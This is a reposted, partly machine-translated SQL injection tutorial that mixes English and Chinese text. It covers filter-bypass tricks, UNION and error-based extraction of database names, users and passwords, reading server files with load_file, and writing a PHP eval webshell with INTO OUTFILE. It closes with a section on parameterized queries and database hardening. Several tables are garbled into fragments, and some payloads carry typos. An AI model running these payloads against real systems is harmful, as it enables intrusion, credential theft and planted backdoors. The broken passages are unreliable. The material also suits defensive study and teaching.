Home > Database > SQL > Take you to understand SQL injection (details)

Take you to understand SQL injection (details)

WBOY
Release: 2022-01-04 18:45:13
forward
11032 people have browsed it

This article brings you knowledge about sql injection. SQL injection is a behavior in which the server does not strictly verify the data sent by the client, causing the server-side SQL statement to be maliciously modified and successfully executed. I hope it will be useful to everyone. helpful.

"Take

What is SQL?

Structured Query Language (SQL) is a special programming language used for standard data queries in databases. In October 1986, the American National Standards Institute standardized SQL and used it as the standard language for relational database systems. In 1987, it received support from the International Standards Organization and became an international standard.

What is SQL injection

SQL injection is a behavior in which the server does not strictly verify the data sent by the client, resulting in the server's SQL statement being maliciously modified and successfully executed
"Take

Principle of Vulnerability

SQL injection attack behavior can be described as injecting SQL syntax into user-controllable parameters, destroying the original SQL structure, and achieving unexpected results when writing programs. The resulting attack behavior. The cause can be attributed to the superposition of the following two reasons.

  • When programmers interact with the program and the database, they use string concatenation to construct SQL statements.
  • There is insufficient filtering of user-controllable parameters. Then the parameter content is spliced ​​into the SQL statement

Cause of the vulnerability

  • The user can control the input
  • The input check is insufficient, causing the SQL statement to be The illegal data submitted by the user is executed as part of the statement

Why is there SQL injection

  • The code does not strictly filter the parameters brought into the SQL statement
  • The security configuration of the framework is not enabled, for example: PHP's magic_quotes_gpc
  • The framework security query method is not used
  • The test interface is not deleted
  • The firewall is not enabled
  • No other security protection equipment is used

Possible location of the injection point

According to the principle of SQL injection vulnerability, the user injects SQL into the "controllable parameters" In other words, where the Web application obtains user input, as long as it is brought into the database query, there is the possibility of SQL injection. These places usually include:

  • GET data
  • POST data
  • Cookie data
  • HTTP header (other fields in the HTTP header)

Vulnerability hazard

  1. Database information leakage, acquisition, modification of sensitive data: leakage of users’ private information (account, password) stored in the database
  2. Bypass login verification: use a universal password to log in to the website backend, etc.
  3. File system operations: list directories, read, write files, etc.
  4. Web page tampering: tamper with specific web pages by operating the database, embed network horse links, and carry out horse-mounting attacks
  5. Registry operations: read, write, delete registry, etc.
  6. Execute system commands: execute commands remotely
  7. The server is remotely controlled and Trojans are planted: hackers can modify or control the operating system

Submission methods

Submission methods include: get, post, cookie, request, etc.
Among them: request support is better, you can use get method, post method, cookie method Submission is possible

Determine the injection point

Will try to submit data at the suspected injection point or behind the parameters to determine whether there is a SQL injection vulnerability .

##

Note: If when you test a website, 404 appears, or the page jumps, it means that the website is protected

Determine whether it is a character or a number

As shown below, generally Say, parameters such as id are followed by numeric type (may also be character type), and other parameters are followed by character type
"Take

sql injection bypass

  1. Case bypass
  2. Double-write keyword bypass
  3. Special encoding bypass

If some strings are really restricted , we can try some encoding bypass.
Such as URLEncode encoding, ASCII, HEX, and unicode encoding are bypassed:

  • or 1=1 or 1=1,
  • Test can also be CHAR(101) CHAR (97) CHAR(115) CHAR(116)
  1. Space filter bypass
  2. Filter function bypass
  • sleep() ——> benchmark()
  • substr(), substring(), and mid() can be replaced by each other
  • user() ——> @@ user(), datadir ——> @@datadir
  • ord() ——> ascii(): These two functions have the same effect when processing English, but they have different effects when processing Chinese
  • ascii ——> hex(), bin(): After replacement, use the corresponding base to convert to string
  • group_concat() ——> concat_ws()
  1. Inline comments bypass /*!...*/

In MySQL, /**/ is a multi-line comment. This is the SQL standard, but MySQL has expanded the explanation function. If an exclamation point is added after the /* at the beginning /*!50001sleep(3)*/, Then the statement in this comment will be executed.

/*!50001 select * from test */;50001 here means that this statement will only be executed if the database is version 5.00.01 or above. For some wafs, we can use this ways to bypass.

Get the website path

Common ways to obtain the path:

  1. Error display

"Take

  1. ##Legacy files
Don’t use Baidu, use Google to search

inurl:phpinfo.php
"Take

Vulnerability error reporting, platform configuration files, blasting, etc.

SQL injection reading and writing files

You can use SQL injection vulnerabilities to read and write files.


Prerequisites for use:

1. The database supports file reading and writing

This involves a variable

secure_file_priv, which parameter is in The import and export operations of files are restricted in higher versions of mysql database. To configure this parameter, you need to modify the my.ini configuration file and restart the mysql service [The default is NULL in Phpstudy, which does not allow reading and writing files]
"Take

Test data Test judgment Attack ideas
-1 or 1 Whether the previous or next page can be echoed (to determine whether there is an echo) Joint injection
'or" Whether the database error message is displayed; whether the echoed page is different (character type or numeric type) Error injection
and 1=1 or and 1=2 Whether the echoed pages are different (determine whether the page has a Boolean type status) Boolean blind injection
and sleep(5) Judge the return time of the page Delay injection
\ Judgment Escape



ParametersMeaning##secure_file_priv=NULLsecure_file_priv='c:/a/'secure_file_priv=

修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
"Take

"Take

2. 当前用户具有文件权限

  1. 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+
Copy after login

"Take

  1. 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
Copy after login

"Take

方法2:

select File_priv from mysql.user where user="root" and host="localhost";
Copy after login

"Take

3. 知道文件绝对路径

  1. 读取文件,使用 load_file

下面两种方法一样

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
Copy after login

"Take

  1. 写入文件,使用 into_outfile

这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住

写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址

# 1. 直接写
?id=-1' union select 1,'<?php  phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
Copy after login

"Take

"Take

写一句话木马

# 1. 直接写
?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+

# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
Copy after login

查询方式及报错盲注⭐

在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。

更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》

查询方式

重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明

  1. select:查询数据在网站应用中进行数据显示查询操作

举例:select * from news where id=$id

  1. insert:插入数据在网站应用中进行用户注册添加等操作

举例:insert into news(id,url,text) values(2,'x','$t')

  1. delete:删除数据后台管理里面删除文章删除用户等操作

举例:delete from news where id=$id

  1. update更新数据会员或后台中心数据同步或缓存等操作

举例:update user set pwd='$p' where id=2 and username='admin'

  1. order by排序数据一般结合表名或列名进行数据排序操作

举例:select * from news order by $id
举例:select id,name,price from news order by $order

报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:

  1. 基于布尔的SQL盲注-逻辑判断(不回显)
    regexp,like,ascii,left,ord,mid

  2. 基于时间的SQ盲注-延时判断(不回显)
    if,sleep

  3. 基于报错的SQL盲注-(强制)报错回显
    floor,updatexml,extractvalue

报错模板:https://www.jianshu.com/p/bc35f8dd4f7c

报错注入函数

  1. floor()
  • floor(x),返回小于或等于x的最大整数。
  • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
  • x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
  • 报错原因:主键重复,必需:count()、rand()、group by
  • 分析链接:https://xz.aliyun.com/t/253#toc-2
  1. exp()
  • exp(x)返回e^x。
  • 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
  • payload:id =1 and EXP(~(SELECT * from(select user())a))
  1. updatexml()

利用的就是mysql函数参数格式错误进行报错注入。

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);

  • 函数语法解析:
  • XML_document:是字符串String格式,为XML文档对象名称
  • Xpath_string:Xpath格式的字符串
  • new_value:string格式,替换查找到的符合条件的数据

适用版本是:5.1.5+

利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

  1. extractvalue()

利用的原理是xpath格式不符报错注入。

函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+

1. 获取当前是数据库名称及使用mysql数据库的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 获取当前注入点的用户权限信息及操作系统版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 获取当前位置所用数据库的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
Copy after login

二次注入

"Take

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

原理

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加\进行转义,但是\并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

实施步骤

  1. 插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容

  1. 引用恶意数据

"Take

举例

这里使用的是sql-libs靶场的第24关

  1. 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示

"Take

  1. 注册一个新用户

"Take

  1. 注册了一个新用户之后的数据库如下
    "Take

  2. 新用户登录,并重置密码

  3. 查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变

"Take

  1. In the source code of level 24, you can see the reason, as shown below

"Take

##Stacked query

Stacked injection (Stacked injections), as you can see from the meaning of the noun, it should be a bunch of SQL statements (multiple) executed together. This is also the case in real applications. We know that in mysql, mainly in the command line,

; is added at the end of each statement to indicate the end of the statement. In this way, we thought about whether we can use multiple sentences together. So stack injection (also called stack query) appeared
"Take

Notes:

The conditions for use of stack injection are very limited, and may be restricted by API or database engine, or permissions It can only be used when the database function is called to support the execution of multiple SQL statements. The mysqli_multi_query() function supports the simultaneous execution of multiple SQL statements. However, in actual situations, such as PHP, in order to prevent the SQL injection mechanism, the function that calls the database is often used. The mysqli_query() function can only execute one statement, and the content after the semicolon will not be executed. Therefore, it can be said that the usage conditions of stack injection are very limited. Once it can be used, it may cause a great threat to the website

DNSlog

DNSlog is the domain name information stored on the DNS Server. It records the user's access information to the domain name www.baidu.com, etc., similar to a log file. For more operations, please refer to A Brief Analysis of DNSlog’s Practical Skills in Penetration Testing

Brain Map

"Take##Common databases and injection related⭐

The five databases of MySQL, SQLServer, Oracle, PostgreSQL, and Access should be the most popular databases on the market currently. When we conduct penetration testing, these are the types of databases we encounter the most. This article makes statistics on the similarities and differences between these types of databases during injection.

Comment character, database port

Restrict mysqld to not allow import and export operations
will limit the import and export operations of mysqld to a fixed directory, and the subdirectory is valid
No restrictions on the import and export operations of mysqld
SQLServerOracle PostgreSQLAccessSingle line commentMulti-line comments3306143315215432 is a file database, so No port number required

数据库文件后缀名

  • MySQL:数据文件:.myd 、索引文件:.MYI 、表定义文件:.frm
  • SQLServer:.mdf
  • Oracle:.dbf.ora
  • PostgreSQL:无后缀名
  • Access:Office 2007之前是 .mdb ,Office 2007及之后是.accdb

特有的数据库

  • MySQL: information_schema(Mysql5.0以上的版本)
  • SQLServer:sysobjects
  • Oracle:dual
  • PostgreSQL:
  • Access:msysobjects

查看当前用户或权限

  1. MySQL
查询当前用户
select user();
select substring_index(user(), '@', 1) ;
查询当前用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;
Copy after login

"Take
"Take

  1. SQLServer
判断是否是SA权限select is_srvrolemember('sysadmin')     判断是否是db_owner权限  
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')
Copy after login

"Take

  1. Oracle
查看当前用户select * from user_users;查看当前用户拥有的角色     
select * from session_roles;查看当前用户拥有的权限select * from session_privs;
Copy after login

"Take

  1. PostgreSQL
select user                       #查看用户select current_user               #查看当前用户
Copy after login

"Take
"Take

  1. ACCESS

Access数据库是文件类型数据库,没有用户和权限的概念

ASCII转换函数

  1. MySQL:select char(97)

"Take

  1. SQLServer:select char(97)
    "Take

  2. Oracle:select chr(97) from dual

"Take

  1. **PostgreSQL:select chr(97) **

"Take

  1. **Access:select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同数据库注入结果的区别⭐

  1. mssql

"Take

  1. MySQL

"Take

  1. oracle

"Take

Sql注入中连接字符串常用函数

在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat()group_concat()concat_ws()
本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。

concat()函数

不使用字符串连接函数时:
"Take

但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()

concat()语法及使用特点:CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
示例如下:
"Take

"Take

concat_ws 函数

使用方法:CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例,演示一下
"Take

group_concat 函数

基本查询

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
+------+------+
6 rows in set (0.00 sec)
Copy after login

以id分组,把name字段的值打印在一行,逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)
Copy after login

以id分组,把name字段的值打印在一行,分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
+------+----------------------------------+
3 rows in set (0.00 sec)
Copy after login

以id分组,把去冗余的name字段的值打印在一行,
逗号分隔

mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)
Copy after login

以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)
Copy after login

补充知识—数据库结构

数据库结构:数据库 —> 表名 —> 列名 —> 数据
演示如下:

  1. 查看MySQL数据库中,包含了哪些数据库

show database;
"Take

  1. 查看数据库中有哪些表
use dvwa;	# 选中dvwa数据库
show tables;	# 查看dvwa数据库中有哪些表
Copy after login

"Take

  1. 查询表中的内容
    1. 查看user表中的全部内容:select * from user;
    2. 以列的形式查看user表中的全部内容:select *from user\G;
    3. 查看表中的部分内容:select user,password from user;

"Take

"Take

补充知识—关于SQL的一些常识

注释

##MySQL
#-- -- -- none
/**/ /**/ /**&*/ None Database port
减减空格 "-- " "–%20" “–+”
# “#” "%23"




内联注释 /* 被注释掉的内容 */









数据库中,符号.代表下一级,如dvwa.user表示dvwa数据库下的user表

常用语句和函数

推荐阅读:SQL注入必备知识初级
1:mysql -uroot -proot登录数据库
2:show databases; 查看有哪些数据库
3:use informatin_schema; 使用某数据库
4:limit的用法

  • limit的使用格式是limit m,n
  • 其中m是指记录开始的位置,从0开始表示第一条记录
  • n是指提取n条记录

5:select 函数名; 查询某内容
函数名有以下:
"Take

防御措施

防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:

代码层

  1. 内置过滤系统(本质是黑名单,很常见但是不推荐)
  2. 采用参数化查询&预编译(推荐)

强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
"Take

  1. 采用框架的安全写法

例如Mybatis中使用#可以防止SQL注入,$并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等

Thinkphp框架的安全写法

安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制       

//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;
Copy after login

数据库加固

主要包括:

  1. 最小权限原则,禁止将任何高权限帐户(例如sa、dba、root等)用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。
  2. 禁用敏感函数拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell、into_outfile 等
  3. 网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。
  4. 限制用户所能够访问的数据库表

其他

例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。

相关推荐:《mysql教程

The above is the detailed content of Take you to understand SQL injection (details). For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template